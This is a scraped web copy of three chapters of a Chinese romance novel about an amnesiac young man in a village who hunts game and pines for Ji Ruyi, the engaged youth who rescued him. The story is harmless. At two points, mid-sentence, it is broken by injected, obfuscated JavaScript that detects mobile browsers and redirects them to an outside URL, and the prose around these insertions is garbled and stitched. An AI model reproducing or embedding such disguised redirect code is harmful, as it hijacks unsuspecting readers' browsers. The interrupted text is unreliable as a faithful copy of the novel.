野鸡不太会飞，飞不了太远就停了下来。 离着野鸡越近，三人的脚步越轻，这次比之前谨慎了很多。 霍云铮伸出手：“把弹弓给我。”这样的场景激起了他体内的热血，他似乎打过猎。 小川迟疑了下，还是将弹弓放在了霍云铮手里，并给了他一颗精心挑选的石子。 霍云铮拉起弹弓，两兄弟大气都不敢喘，眼睛死死地盯着那只野鸡。 野鸡以为没了危险，正用脚刨着地找食吃。 突然，一颗石子飞快地从空中掠过，正中野鸡的脑袋。 “啊！打中了！” 两兄弟高兴得跳起来，不用霍云铮去捡，他们俩飞快地跑过去将野鸡捡了回来。小川年纪小，跑的没有小山快，见小山将野鸡抱在怀里还有些失落。 小山将野鸡递给小川：“喏——” 小川这才高兴了。 “云铮哥，你也太厉害了！”两兄弟迫不及待地将野鸡拿给霍云铮看。 野鸡并没有死，只是被打晕了。 霍云铮也没想到一击即中，心中暗暗高兴，也许他能找到自己在这里的价值了。 他用绳子麻利地用绳子捆着野鸡，两兄弟看的眼睛一眨不眨的，对霍云铮越来越崇拜。 小川好奇地问：“云铮哥，你怎么会打弹弓啊？” 娘说过云铮哥是大户人家的孩子，在他们的眼里，大户人家是不会像他们村子里的孩子这样玩弹弓的。 “云铮哥不记得以前的事了，他要怎么回答你？”小山想了一下说道，“娘不是说过大户人家从小都要学什么琴棋书画、骑马射箭的，云铮哥也一定学过这些。” 小川的眼睛亮晶晶的：“云铮哥，你还会骑马射箭？”马可贵了，就连镇上的人家都很少有能买得起的。 霍云铮已经将野鸡捆好放在了背篓里：“可能会吧，我现在不记得了。” 应该是学过的，否则他的弹弓怎么打得这样准？有些东西是刻在骨子里的，不是靠着脑子去记的。 “那咱们下次带箭来，”小川跟在霍云铮的身后，用手拿着两边的草玩，“这样咱们就能打更大一些的猎物了。” 霍云铮问：“你知道哪里有箭？” 小川道：“陈猎户家里有。” 霍云铮点点头记下了，等下山后去陈猎户家看看。 三人在山上几乎待了一天，霍云铮打到了两只野鸡，三人又合力撵到只野兔，捡了十多颗鸟蛋，又采了一些野菜和菌子，有说有笑地下山了。 夕阳渐渐落山，远处的房屋镀了层金边，比最好的染师染出来的色彩还要好看。 炊烟袅袅，直上云霄，满村子都弥漫着一股人间烟火味。 路过一家院门时，霍云铮随意往里一撇。 见一小哥儿拿着簸箕在收晾晒在院中的菌子，夕阳的余晖照在脸上好似给他涂了层胭脂，让本就貌美的小哥儿更加动人。 霍云铮的心被狠狠撞了一击，不安分地躁动起来，不再迷茫了。 他心虚地瞥过眼，目视前方，一本正经地问：“这是谁家？门挺别致的” 小山没瞧出他的不对劲，答道：“这是周大伯家。” 霍云铮指着前方又问：“那是谁家，菜长得真茂盛。” 小山道：“这是李三伯家。” 霍云铮问：“这个呢？院子挺大的。” 霍云铮面上听得认真，实际上心早就跑到吉家去了。 他其实见过吉如意，那日在渡川县就是吉如意将他救上来的，连一句谢字都未来得及说，吉如意就跑了。 紧接着，他又昏过去，后来被余家父子叫醒，带回了客栈。 惊鸿一瞥，乱了他的心曲。 他也曾旁敲侧击地问过自己是怎么到岸边的，想套出吉如意的消息。他不敢贸贸然的问，怕坏了小哥儿的名声。 余禾说他并不是被什么人救上来的，是被水冲上岸的，福气大得很呢，也多亏了老天保佑。 难道那日的小哥儿是自己空想出来的？实在太真实了。 本来霍云铮决定，攒些银子，等过几天寻个由头去趟渡川县好好找一找，没想到竟在此处见到了！ 希望他还没有许配人家，他攒着银子就上门提亲。 小川突然道：“云铮哥，你怎么忘记了，你前些日子还来过呢。是不是病的严重了？连最近发生的事都忘了，我回去可得跟娘说说这事。” 啊？？？ 不能啊，他来到大吉村以后，除了余家就没去过别人家。 等等，他还去了一个人的家——吉五叔的家。前些日子姜临去找他，说想让他帮着给自家哥儿相看相看，他还说了梁满仓不错！ 再仔细一看，这可不就是吉五叔的家！ 霍云铮仿佛被雷击中，天都塌了，一字一字地问：“意哥儿的亲事定下来了吗？” 小山道：“定下来了，就在七月十六。到时候咱们早点儿去，占个好位置。云铮哥你没吃过乡下的酒席吧，可热闹了。” 小川也道：“云铮哥到时候你别不好意思吃，吃就完了，别人不会注意到你的。” 俩兄弟说一句，仿佛一把钢刀插在霍云铮的心上，等走到余家时，霍云铮的一颗心已经七零八碎了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14396390|153379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>抓到猎物后的喜悦之情，早就烟消云散。唉！ 霍秀兰早已做好了饭菜，站在门口翘首等着他们回来。 “怎么才回来，天马上就黑了，再不回来我就让你姑父去山上找你们了，”她一边抱怨着，一边帮霍云铮将背篓从背上摘下来。向里看去，不由地吃了一惊，“哪里来的野鸡，你打的？” 不等霍云铮回答，两兄弟你争我抢地将今天发生的事说了一遍。 “哎呀我的老天爷啊，云铮真是太厉害了。”霍秀兰之前并没看到那只野兔，听两兄弟说完在背篓里扒拉扒拉，这才瞧见了野兔。眼睛瞪得滚圆滚圆，嘴几乎合不上，“他爹！你快来看啊，看云铮打回来什么了！” 余禾和余英听到动静忙回来瞧，俩人围着背篓的惊讶程度完全比霍秀兰还夸张。左一句云铮真厉害，右一句云铮哥真棒。 霍云铮将采来的野果子给了余英，余英更是高兴地蹦了起来。 余家的几人围着霍云铮团团转，冲淡了方才的那点儿郁结。 霍秀兰让他们洗手吃饭，她将野鸡和野兔放进了柴房。 霍秀兰今天做了四道菜，清炒菘菜，炖豆腐，炒肉片和一个凉菜。 肉片照旧是放在霍云铮的面前，他的碗里是白米饭。 其他人的是杂粮饭，霍云铮皱起了眉：“大姑，我不是说了吗，不要单独给我做白米饭，你们吃什么，我们就跟着吃什么。” 说着，要将白米饭倒回去，重新盛一碗杂粮饭。 霍秀兰微微站起身用手阻挡：“别到别到，这次就算了，大姑以后不给你单独做了。” 稻米的价钱高，早就被霍秀兰卖了大半。农户人家吃杂粮就好了，省下的钱攒起来。 其实余家的日子并不难过，顿顿白米饭是能吃得起的。这么多年靠着霍家的贴补和两口子辛勤的劳作已经攒下了一些银子。除了给几个孩子攒下的聘礼和嫁妆外，他们还想再攒些钱盖个大房子。 小山和小川娶妻生子后现在的屋子就不够住了，现在又有了霍云铮。霍云铮已经成年了，按照习俗，如果他在百日内不成婚，就要再等三年。霍秀兰还要给他攒聘礼，盖房子也要给他留一份。 等小山和小川的孩子大些后，她还想送他们去念书。念书是最烧银子的，之前霍云铮的父亲曾说过让孩子们去去念书，他负责所有费用。可没一个是读书的料，去了一段时间后说什么都不肯去了。 霍秀兰也觉得念书太贵，全都让霍云铮的父亲花，她心里也过意不去，孩子们不去就不去了。 所以就得省吃俭用，能省的地方则省。 经过这段时间的相处，霍秀兰知道他是好的。也认真想了一下，以后大家是要一起长久过日子的，总给他开小灶，看起来像拿他当外人。 霍云铮见霍秀兰答应下来，卸了心里的负担。他情绪不是很好，再美味的饭菜到了他嘴里也变得没滋没味的。为了不让霍秀兰看出来，强打起精神：“大姑，咱们留下一只野鸡和野兔吃，剩下的那只野鸡我想卖掉。” 霍秀兰自然没什么意见：“行啊，明日让你姑父去镇上卖了。” “不如先问问村子里有没有谁要的，”霍云铮道，“一只野鸡别费力往镇上跑一趟了。” 霍秀兰点点头：“也好。” 还真有要的，不是旁人，正是吉如意。 家里的鸡正是能下蛋的时候，他本来想买只公鸡给吉上进补身子，赶巧听到余家卖野鸡。野鸡比家鸡贵上一些，据说滋味更好。吉如意没吃过，不知道。 贵一些不要紧，只要大爹爹喜欢吃就好。都已经这个时候了，就不考虑吃东西花的银子了。 吃早饭的时候霍秀兰问：“云铮，野鸡你打算卖多少文？” 霍云铮没卖过，也不知道什么价格：“我没卖过，不知道什么价。” 余禾道：“你那只野鸡挺肥的，我看值一百二十文。” 霍云铮道：“那就买一百文，一个村子住着，给大家便宜些。” 霍秀兰赞许地点点头：“不如一百一十文吧，也别卖得太便宜了，好不容易抓的呢。吃完了饭你就给吉家送去吧，就是那天你帮着相看的吉家。” 提起这事，霍云铮的胸口又被插了一箭。 霍云铮草草地扒拉完饭，转身回了自己屋，鼓鼓秋秋了半天才出来。 看着霍云铮出了门，霍秀兰奇道：“怎么还换了身衣服？” 霍云铮一手领着野鸡，一手摸摸头发，挺直了腰板，迈着大步往吉家走去。 到了吉家门口，他又整理下衣服，确定没有瑕疵的地方，这才扣门。 “请问，有人在家吗？”霍云铮朗声问道。 吉如意与乔哥儿约好了去山上捡菌子，正好在院子里收拾。 听到声音忙应道：“有人——” 声音清悦入耳，比霍云铮想象中的还要好听。 5. 第五章 “我来送野鸡。”霍云铮没想到出来的竟然是吉如意，心里顿时紧张，面上没表露出来。 “好漂亮的野鸡。”吉如意的视线从霍云铮的脸上移到野鸡五彩斑斓的羽毛上，实在是喜爱，亮晶晶的一双眼盯着瞧。 霍云铮这会儿有些手足无措，要不是吉如意将他救起，只怕他现在就没命了，理应带着重礼过来道谢的。可吉如意是在河里救的他，两个人湿身搂抱在一起，是会坏了小哥儿的名声的。发生这种事情，小哥儿只有两条路可走，一是嫁给那汉子，二是自尽。 吉如意已经定了亲，此事万万不可叫别人知道。霍云铮也不是那种不知恩图报的人，这份恩情他会慢慢回报。 不过，要不要提一下呢？这里只有他们俩没旁人，小声地提一嘴，不会被别人听到的。 正当霍云铮酝酿着该如何说时，吉如意装作随意地问了句：“我听说你是被水冲到岸边的，真是福大命大，以后的好日子还在后头呢。” 吉如意也不能确定霍云铮那日瞧没瞧见他，应该是没瞧见的吧。当时的场景太过混乱，他在河里时就已经昏迷了。经过自己的简单救治后，吐出一大口水来，似乎还没等睁开眼睛余家父子就找来了，然后自己就跑了。 不管他有没有瞧见，吉如意都不打算承认这事。 霍云铮了然了，吉如意并不想承认救过他。宁可不要这份恩情，也怕他出去乱说。 纵使明白这个道理，但霍云铮的心里还是泛起了一丝苦涩。 他胡乱回答了几句，吉如意又将话题放在了野鸡身上：“这鸡怎么卖的？” 霍云铮想说不要钱，顿了一下道：“八十文。” 恩情不急于这一时，日后慢慢还吧。 “啊？”吉如意听到这个价格惊讶地看向他。 霍云铮以为他嫌贵，慌忙道：“那就七十文。” “你卖的太便宜了。”吉如意未买过野鸡，多少也知道些价格，一只家养的公鸡还需要七八十文，野鸡比家鸡贵，这个价自然是太便宜了。 吉如意又想到他出身府城，富家公子哥不食人间烟火，况且又失了忆，这些事情不懂是正常的，便将家鸡和野鸡的价格细细说了一遍。 小哥儿认真的样子更是好看，霍云铮被晃了眼，心下凄苦，怎么就晚了一步呢。 霍云铮道：“这时节山上的野鸡多，野鸡未必像你说的那样值钱。要是觉得行，你就拿着吧，省着我再去别人家问了。” “那还是八十文吧，七十文我太占便宜了。我进屋去取银子，你进来坐会儿？”吉如意客气地让着。 “不去了，我就在这里等着吧。”霍云铮说道。 吉如意没有多让，从霍云铮手里接过野鸡，回屋找姜临要银子去了。 “大爹爹，小爹爹，你们看这野鸡多好看啊。”吉如意刚迈进门槛就大声嚷嚷开了，语气里满是快活的味道。 吉上进最近好一阵坏一阵的，为了不让家人担心，他强打起精神：“给我看看。” 姜临也夸赞着：“真是好看，还活着呢，今天我用榛蘑给你们炖了。” 吉如意一听倒是馋了，榛蘑比较贵，平时采到了也很少舍得吃，能卖不少银子的。榛蘑鲜着吃好吃，晾晒后也好吃，还能保存很久。 “多少银子？”姜临问。 “八十文。” “这么便宜？一只野鸡至少上百文吧。” “他说是现在山里野鸡多，所以就便宜。”吉如意道，“总不能故意便宜卖给咱们。” 姜临一想也是，找了铜板拿给吉如意：“等你挖了野菜回来给余家送去些。”这个价格他们占了大便宜，送些东西多少是个心意。 吉如意答应着，回去将铜板给了霍云铮：“你数数。” “不数了，”霍云铮看都没看地将铜板收了起来，他早就瞧见了摆在院中的背篓，“一会儿是要上山吗？” “我和乔哥儿约好了去挖些野菜和菌子。”吉如意道，“夏天多挖些菌子晾着留着冬天吃，卖掉的话也是一个进项。” 霍云铮道：“我最近也要上山。” 吉如意问：“还去打猎吗？山上危险，一定要多加注意，别往深处走。” “多谢多谢，”霍云铮下意识地朝吉如意拱拱手，“那我先回去了。” 吉如意心里嘀咕着，府城来的到底和他们这些乡下人不一样，人家还会拱手呢。 霍云铮想打猎，只靠一把弹弓是不行的。昨天晚间他已经和霍秀兰说了打猎一事，霍秀兰刚开始是不同意的，万一遇到了危险怎么办。在霍云铮的再三保证只打一些野鸡、野兔，以及两兄弟的说情下，霍秀兰才勉为其难地同意了。 按照两兄弟所说，霍云铮很顺利地找到了陈猎户家。 他家很好找，大吉村很少有青砖房，大多数是草房或者砖瓦房。陈家是猎户，日子比很多人家过得都要好。当然，承担的风险也更大。 霍云铮说明了来意，如果陈猎户不上山时，就把弓箭借给他用用，并表示每天会送他一些猎物，抵了使用他弓箭的费用。当然，他想要铜板也可以。陈猎户撇了他一眼，府城里的富家子整日除了吃喝玩乐，哪能会打猎？简直胡闹！ “这弓和箭可都是我吃饭的家伙什，你要是给弄坏了我用什么。”陈猎户三十多岁的年纪，正是年轻力壮的时候。长得高大，浑身都是矫健的肌肉，有一把子力气。霍云铮虽高但瘦，在他看来自己能一只手捏断他的脖子。他打来的野鸡和野兔只能说是运气好，恰好碰到了而已。 霍云铮没有将他的不屑放在心上，逞口舌之快算什么本事，事情上见真章。 “你能射多远？”霍云铮问。 “从这里射到那棵树。”陈猎户连手都懒得抬，用下巴指了指那棵树。 霍云铮估计了一下，大概有六七十米。 “拿箭。”霍云铮目光如炬，周身上下散发出一股不容人抗拒的气场。 看着这样的霍云铮，陈猎户迟疑了下，最终还是将弓箭交给了他。 “弄坏了可是要………” 耳侧一凉，头巾晃了几晃，又听“砰”地一声，陈猎户顺势看去，张大了嘴巴。 一支带着灰布的箭竟牢牢地射到了他院子里最后面的那棵树上！大概有一百五十米。 如果不是园子就这么大，箭射的距离只怕远不止于此。 “太轻了。”霍云铮将弓箭放到一旁，头也不回地走了。 “赔的。”陈猎户声如蚊蚋，下意识地去摸残缺了一块儿的头巾。 大晋朝不允许百姓私自持有武器，像镖局，猎户等都要去官府备案。铁匠想打长一些的刀，也需经由官府批准才可以。 霍云铮最初想借陈猎户的弓箭一用，待赚些银两后，再买一把弓箭。 现在陈猎户这条路行不通，只能再想其他的法子。 霍云铮刚一进院门，就见霍永强鬼鬼祟祟地翻找着什么。他去哪儿，霍云铮就跟着去哪儿。 霍云铮在他身后毫无声息，再加上他做贼心虚，愣是没发现。 “找什么呢二叔？”霍云铮故意大声问道。 吓得霍永强一个激灵，收起了乱瞟的眼：“云铮啊，吓我一跳。” 霍云铮不说话，只笑吟吟地盯着他瞧。 霍永强尴尬地清清嗓：“那个，我来看看你和你大姑。” “大姑在屋呢，你在外面怎么不进去？” “这就进这就进，走吧。”霍永强说走但没走，眼睛左瞟右瞟。 霍云铮迈步便往屋里走。 “哎，云铮！”霍永强忙叫住他。 “怎么了二叔？”霍云铮止住脚步，一脸疑惑地看向他。 霍永强拉着他的胳膊，将他拽到了一旁，压低声音问道：“野鸡呢？” “卖了，早知道二叔要，我先去问问你好了。不过二叔你也别急，一会儿我还上山，你再等一等，”霍云铮道，“一百二十文一只，等我打到了就给你送去，你准备好铜板在家里等着就行。” “你这孩子，”霍永强十分不满，“咱们亲戚里道的怎么还要钱啊。” 霍云铮问：“亲戚不用给钱？” “那是，吃一只鸡怎么了？二叔难道连这点儿光都借不着你的吗？”霍永强一副理所当然的样子。 “那走吧。”霍云铮道。 “现在就上山啊？”霍永强欣喜不已，“你不用拿点儿趁手的工具吗？” 霍云铮道：“不上山，上你家。” “上我家干什么？”霍永强一脸的纳闷。 “不是二叔说的吗，亲戚间不用给钱，以前我抹不开面子不好意思去，既然二叔都这么说了，那我也就不客气了。我身体还没恢复，得多吃些好的补补，上二叔家抓只鸡吃吃。”说着，霍云铮抬腿就走。 霍永强一听就急了，吃他一只鸡，那不要了他的命吗。霍云铮腿长，几步就将他远远地甩在身后。 “你站住！你别走！”他也顾不得什么大喊大叫着。 外面的动静早就惊动了屋里的霍秀兰，霍秀兰问道：“怎 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“小山，村里人挖野菜大多都去哪里？”霍云铮状似随口一问。 “这可不好说，山上哪里都去。”小山道，“云铮哥，今天咱们还挖野菜吗？” “不挖，今天咱们就专门打猎。” 霍云铮打算砍几棵树，将树削地尖尖的，尖头朝上，放入挖好的深坑里。 顺便再看看能不能有适合做弓身的树，如果有的话就最好不过了，他自己做一把比买的要便宜的多。 砍树是个力气活，又要削成尖头，需要花费大量的时间。好在，他什么都缺，就是不缺时间，又有两兄弟的帮忙，进展的还算顺利。 虫叫，鸟鸣，远处不知名动物的叫声，像伴奏曲似的。 “意哥儿，咱们往那边看看。” 乔哥儿的声音从不远处传来，霍云铮心中一喜，没想到竟然偶遇了，手底下的活计干的愈发卖力。 不多时，吉如意和乔哥儿自那边过来了。 霍云铮朗声问：“怎么样，挖到多少野菜了？” 吉如意道：“野菜没挖到多少，倒是采了不少的菌子。”说着，拿起背篓给霍云铮看。 他们离的距离并不近，大概有六七米远。 霍云铮往背篓里看去，确实是采到了不少菌子，什么种类的他认不出，刚要再说些什么，便被一人打断。 “意哥儿！”梁满仓欣喜地朝这边走来，“没想到在这里遇见你，真是巧。” 霍云铮不高兴了，一张脸沉了下来，像跟树有仇似的，砍得砰砰直响。 “满仓哥。”小哥儿也没想到会在这里遇见自己的未婚夫，还是在这么多人面前。红霞布满了脸，微微垂下头。 梁满仓毫不顾忌地将他从头到尾打量了一番，眼睛里的某些东西不加掩饰地流露出来。再过几天，眼前这个美人可就完完全全地属于他的了。想到这里，梁满仓更加得意。 “我还打算今日去家里看看伯父。”他故意没说是去“你家”，只说了一个“家”字。 少了那一个字，更是让吉如意羞的差点儿连话都说不出来。他本就生得极美，毫不做作的羞涩，更显得出娇媚可人。 “那，那你一会儿去吧，小爹爹说今晚吃野鸡肉，还打算去叫你和大伯呢。” 吉如意甚至连这句话是怎么说出来的都不知道。 “那好，我一会儿就去。” 农户人家的讲究没有大户人家那样多，他们又定了亲，又有父母在场，让他到家里吃顿饭并没什么的。 尤其是当农忙时节，有些汉子还会到未来的岳父家帮着干农活呢。如果路途远的，几天不回来也是常事。 霍云铮的斧子差点儿抡冒烟，原本还需再砍一会儿的树，被他狠狠几下砍断了。 霍云铮大喝一声：“砍完了！” 梁满仓吓了一跳，这才瞧见那边还有几个人。其中一个汉子长的特别好看，呵，小白脸。 梁满仓将火气压了压，可不能因一时冲动毁了他的计划。 梁满仓又满脸堆笑地对吉如意说道：“那我一会儿就去。” “嗯，好。”吉如意手足无措，更别提身边还有个朝他挤眉弄眼的乔哥儿了，“那我们先走了。” 吉如意脚下下走的急，绊到了树根差点儿摔倒。被乔哥儿扶了一下，又跌跌撞撞地逃也似的跑了。 太丢脸了！不知道梁满仓会不会嫌弃他，吉如意摸了摸滚烫的脸。 6. 第六章 小哥儿身形高挑，同样款式的衣服，穿在他身上就比别人穿的好看。方才他差点儿摔了一跤，弯着腰踉跄的那几步，将浑圆的臀部勾勒出来，甚至还露出了一节雪白的腰。 霍云铮自然是瞧见了，慌忙移开眼，非礼勿视。 梁满仓一直盯着，直到再也瞧不见，才恋恋不舍地将视线收了回来。 在吉勤奋家里住了几天以后，他就不再去镇上打短工了。只说现在的活不好找，等过段时间再看看。 更何况现在婚期在即，理应好好准备准备。所以，吉家人对他暂时不去打短工一事并没有什么想法。甚至还说，就算现在还有活，也不打算让他继续干了，等婚事办完了再说。 农户人家琐碎活多，现在虽不是农忙时节，每天要干的活也不少。吉勤奋家里养了两头猪，每天给这些猪打草就需要一些时间。有时候还要伺弄一下园子，隔几日到地里看看，除除草。趁着天气好，再晾晒一些菜，为过冬做好准备。 不光吉勤奋家如此，大吉村家家户户都这样。天暖些不努力储备些食物，等冬天来了可是要受罪。 这些活零零散散加起来也不少，每日都不得闲。梁满仓不打短工了，也不好在吉勤奋家里干待着，每天也得帮着干一些活。 吉勤奋并未因他还尚未与吉如意成婚就没让他干活，反而，他得帮弟弟一家好好观察观察梁满仓。农户人家，活干得又快又好才行。 刚开始那几天，梁满仓卯足了劲儿干。没几天工夫，懒病就犯了。在吉勤奋眼皮子底下不好偷懒，他便说到山上挖野菜。到了山上没人看着他，他就找个地方舒舒服服的睡一觉。 等下山时怎么交差，他早就想好了。到时找几个挖野菜的，给他几个铜板把野菜买过来，就说是自己挖的。 梁满仓心情很好，哼着小曲走了。 霍云铮憋屈的只能靠卖力地砍树泄愤，好处就是布置陷阱的效率大大提升了。看得两兄弟双眼亮晶晶的，好像能放出光来。 “云铮哥，你也太厉害了吧。” “村子里的汉子干活都没你厉害。” “那个……” 不远处传来一道不确定的声音，霍云铮没抬头就知道来的是谁，忙惊喜地抬头去看。 果不其然，吉如意又回来了。那刚才两兄弟夸他，一定被吉如意听见了吧！ 想到这里，霍云铮挺直了腰板。 “今晚来我家吃饭吧，除了我大伯他们，还有张秀才。” 之前霍云铮和张秀才帮着相看，那时姜临就说要留他们吃饭，他们谁都不留。如今他们刚好买了只野鸡，就打算着再多做些菜请他们来吃，将这份恩情还回去。 方才吉如意还未来得及说这事，梁满仓就来了。 他光顾着害羞跑了，这会儿缓过来才发现有事没说呢，这才返了回来。 “那恭敬不如从命了，我今晚前去叨扰了。” 说话文绉绉的，吉如意听不太明白什么意思，可也知道他是答应了，于是又说了几句话客套话走了。 吉如意的再次出现，打散了霍云铮心中的那团气。 去人家吃饭，总是要带些东西的，不好空着手去。 本来打算多做几个陷阱的，可做完了陷阱就没有时间捕猎，所以只做了三个霍云铮便不再做了。 霍云铮很想显摆自己，只是没有弓箭到底是不方便，时间已然不早，只找到了10多只野鸡蛋，也没算白忙活。 他还打算回去好好梳洗一番，今日在山上干了一小天的力气活。身上沾满了土，还出了不少的汗，总不能糟里糟蹋的就去人家吃饭。更何况，他还对吉如意怀有那样的心思。 就算，就算是不可能，但也要注意下自己的形象。 霍云铮收整好以后去了吉家，梁满仓早早地就到了，正在屋里陪吉上进聊天。吉上进应该是最近心情不错，这会儿状态看起来还可以。 姜临和吉如意在厨房里忙活着，旁边摆了几盖帘包好的饺子。 吉家的房屋格局是一开进户门就是厨房，现在天气热，做饭都开着门。霍云铮离着老远就闻到了一股浓郁的菜香，下意识地吸吸鼻子，好香啊。 还没等进门就看到了那几帘摆的整整齐齐的饺子：“好漂亮的饺子啊。” 元宝形的饺子肚大溜圆，仿佛是一个模子刻出来的。 姜临笑道：“都是如意包的，我擀皮他包饺子。” 霍云铮一听更爱了，盯着瞧了半晌，差点儿上手拿在掌心里看。 这顿饭姜临真是用了心了，家里来客人包饺子，代表着主人家对客人的尊重，那是贵客才有的待遇。饺子并不好包，从剁馅、调馅、和面、揉剂子、擀皮、包饺子，到最后的煮饺子，步骤繁琐，需要花费很大的时间和精力。 如果是纯肉馅的饺子只需要剁完肉馅即可，但如果饺子馅里面掺杂一些青菜，所花费的力气会更多。需将青菜切碎，然后放在锅中用水焯，最后再用手使劲地将青菜中的水分攥干。 农户人家，很少包纯肉馅的饺子。猪肉贵，舍不得。 这么多人来吃饭，汉子吃的都多，一人按三十个饺子算，光是包这些饺子就需要花费很多的时间。 姜临看到霍云铮一直盯着那饺子瞧，不禁有些好笑。 “这是什么馅的啊？”霍云铮问道。 “荠荠菜馅的，”姜临说道，“还有韭菜鸡蛋馅的。” 荠荠菜是一种很常见的野菜，清香浓郁，还带着一丝甘甜，做法也多，很多人都喜欢吃，用它来包饺子更是鲜美无比，只不过择起来有些费事。 霍云铮挺高兴，虽然不记得吃没吃过这两样馅的，但吉如意包的肯定很好吃。 “满仓爱吃韭菜鸡蛋的。”姜临又补充了一句。 霍云铮：“……” “可惜没买到羊肉，如意的羊肉馅饺子包的可好了。”姜临有些可惜地说。 霍云铮暗暗记在了心里，视线终于舍得从饺子上移开，将一直拎着的小篮子递了上来：“婶子，这是我今天在山上捡的野鸡蛋。” “你这孩子，来就来吧，还带什么东西。我不要，一会儿快拿回去。”姜临说这话的工夫正将野鸡从锅里盛出来，“如意，帮我添点儿柴。” 吉家两口锅，吉如意那边也忙着，并没有马上倒出空来帮忙添柴。 霍云铮一见，忙将篮子放到一旁，帮姜临添了一把火。 姜临忙着锅里，并未注意到是谁添的，又把盛出来的菜放在锅沿边上：“端屋里去。” 霍云铮忙又端着进了屋，姜临回头取东西的时候猛然发现吉如意竟然在，一脸纳闷地问：“刚才不是你端的菜？” 吉如意道：“不是啊，我忙着炒菜呢。” 姜临这才发现竟是霍云铮帮他干的活。 很少有汉子会干厨房里的活计，认为丢面子。很多人什么本事没有，莫名其妙的自尊心却特别强。 哪怕是去别人家做客，明明搭把手的事都不会做。仿佛帮一下厨房里的忙，脸就当鞋垫子踩在脚下了。 在姜临等村里人的固有观念里，像霍云铮这种大户人家出身的，肯定比他们还要讲究。所以，当霍云铮帮他添柴端盘子时，他才会这么惊讶。 梁满仓听到外面的动静也出来看，瞧见霍云铮端盘子眼里露出几分鄙夷。 小白脸就是小白脸，哪个堂堂正正的汉子干这种低贱的活。 梁满仓看了一会儿并没有伸手的意思，也没有搭话的想法。霍云铮自然知道他出来了，他懒得和他说话。 端完了盘子又来到厨房看看还有什么需要帮忙的地方，梁满仓紧跟着出来，假意挽衣袖：“霍小兄弟，你快去歇着，你是客人怎么能让你干这种活计？我来我来。” 姜临对梁满仓的行为很满意，笑道：“哪里还用得上你们，你快回屋与小霍聊聊天吧，这里我和如意来就好。” 梁满仓假意还要干，姜临又赶他回屋，这才“勉为其难”地带着霍云铮进屋去了。 霍云铮想了一下，还是跟着进去了，他并没有什么立场再帮着他们忙活，何况还没见吉上进呢。 于是，便拿着小篮子随梁满仓进了屋。 “叔，你看谁来了。” 吉上进顺势一看，只见一高高瘦瘦，是他见过的最好看的汉子走了进来。 “霍家小子来了。”吉上进拍拍炕沿，让他坐下。 霍云铮将篮子放到一边，并没马上坐下，笑着问道：“五叔，最近身体怎么样？” “老样子，”吉上进笑道，“好一天坏一天的，篮子里是什么？” 霍云铮将篮子拿起来给吉上进看：“我今天在山野捡的野鸡蛋，就给您拿来了。” “你这孩子，跟叔客气什么，要不是你们，如意和满仓兴许还成不了呢。”吉上进嘴上虽这样说着，心里却是很高兴的。 庄户大家，总是会下意识地认为那些大户人家瞧不起他们。霍云铮非但没瞧不起他们，还带着东西来的，可见是把他们放在眼里的。 霍云铮又被狠狠刺了一刀。 梁满仓伸长了脖子去看：“那我叫意哥儿把蛋炒了。”今天若是不炒，以后说不定他就吃不到了，全都得进了吉上进肚子里。 霍云铮心有不满，要吃就自己炒，还没成亲呢就指使意哥儿干这干那，以后还得了？但吉家人没说什么，他也不好说什么。 趁着梁满仓出去了，霍云铮开始套吉上进的话，想知道梁满仓的表现怎么样。 一提起这个儿婿，吉上进还是比较满意的。满仓好啊，隔三差五就过来看看他，还帮着他们家干活儿，有时候还送些东西来。是个能干的，也会过日子。 霍云铮听着心里发酸，真就那么好吗？ 梁满仓干的这些他也能干，他会捡菌子，他还会打猎呢。他长得还比他好呢，唉！ 梁满仓一去就不回来了，霍云铮找了个借口出去看。见他在厨房忙活地可挺欢，实际上什么活都没干。 姜临端盘子时他打下手，手连盘子边都没挨到。吉如意添火时他拿烧火棍，实际上连烧火棍都没摸到，就被吉如意拿到了。 看似忙忙碌碌，实则什么活都没干。 霍云铮皱皱眉，这样偷奸取巧的人，怎么能配得上吉如意？ “如意，把饺子煮了吧。”姜临头也不抬地说道，“我再炒一道菜就齐了。” “知道了，小爹爹。”吉如意答应着。 吉如意麻利地在锅里添了一锅水，将锅盖盖上，煮饺子也用热水，煮三个坎就好了。 添柴的时候吉如意蹲下来，连带着歇歇。忙活了这么久，站得也有些累了。 梁满仓也蹲下来帮他一起添柴，拿柴时手不经意地触碰到了吉如意的手，羞得吉如意满面通红，忙将手缩回来。 看得霍云铮咬牙切齿，姜临还在这里呢，他竟然敢这样！对梁满仓愈发看不顺眼。 吉如意羞得不敢看他，只小声地叫他走。梁满仓只当没听到，还要再占些便宜。 恰好此时张秀才从外面走来。 “好香啊。”张秀才夸赞道，又看到正在下锅的饺子，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14396392|153379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来得早不如来得巧，正好赶上要开饭了。” 众人说说笑笑，没一会儿饺子也煮好了。 将最后一盘饺子端上桌，正式开吃。 姜临和吉如意一共准备了六道菜，小鸡炖蘑菇，肉段茄子，黑白菜，葱爆鸡蛋，家常凉菜以及炖豆腐。 更别提还精心包了两样馅的饺子，就连过年吃的都未必这样丰盛。吉家现在困难，给吉上进治病花费了不少的银子。能做出这么一桌菜来，足以见其诚意。 